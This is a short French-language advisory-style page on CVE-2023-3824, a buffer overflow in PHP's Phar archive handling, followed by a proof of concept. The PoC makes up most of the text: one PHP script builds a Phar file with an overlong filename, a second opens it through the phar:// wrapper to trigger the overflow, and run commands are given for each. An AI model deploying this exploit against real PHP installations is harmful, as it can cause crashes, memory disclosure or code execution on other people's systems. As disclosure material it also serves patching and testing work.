
Vulnérabilité dans les fichiers PHP Phar, due à un débordement de tampon, provient de contrôles de longueur insuffisants sur les noms de fichiers au sein de l'archive Phar. Des acteurs malveillants peuvent créer des fichiers Phar avec de longs noms de fichiers, entraînant un débordement de tampon et une exécution potentielle de code malveillant ou une fuite de données. Cette vulnérabilité peut être exploitée pour l'exécution de code CVE-2023-3824
Cette preuve de concept (PoC) démontre comment créer un fichier Phar malveillant en PHP et déclencher une vulnérabilité de débordement de tampon.
create_phar.php) et ajoutez le code suivant :<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
Exécutez le script PHP pour créer le fichier Phar malveillant :
Copier le code
php create_phar.php
Créez un autre fichier PHP (par exemple, trigger_overflow.php) et ajoutez le code suivant :
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
Exécutez le script PHP pour déclencher le débordement de tampon :
Copier le code
php trigger_overflow.php
L'instruction var_dump($x) affichera le résultat de l'opération de débordement de tampon et de lecture hors limites.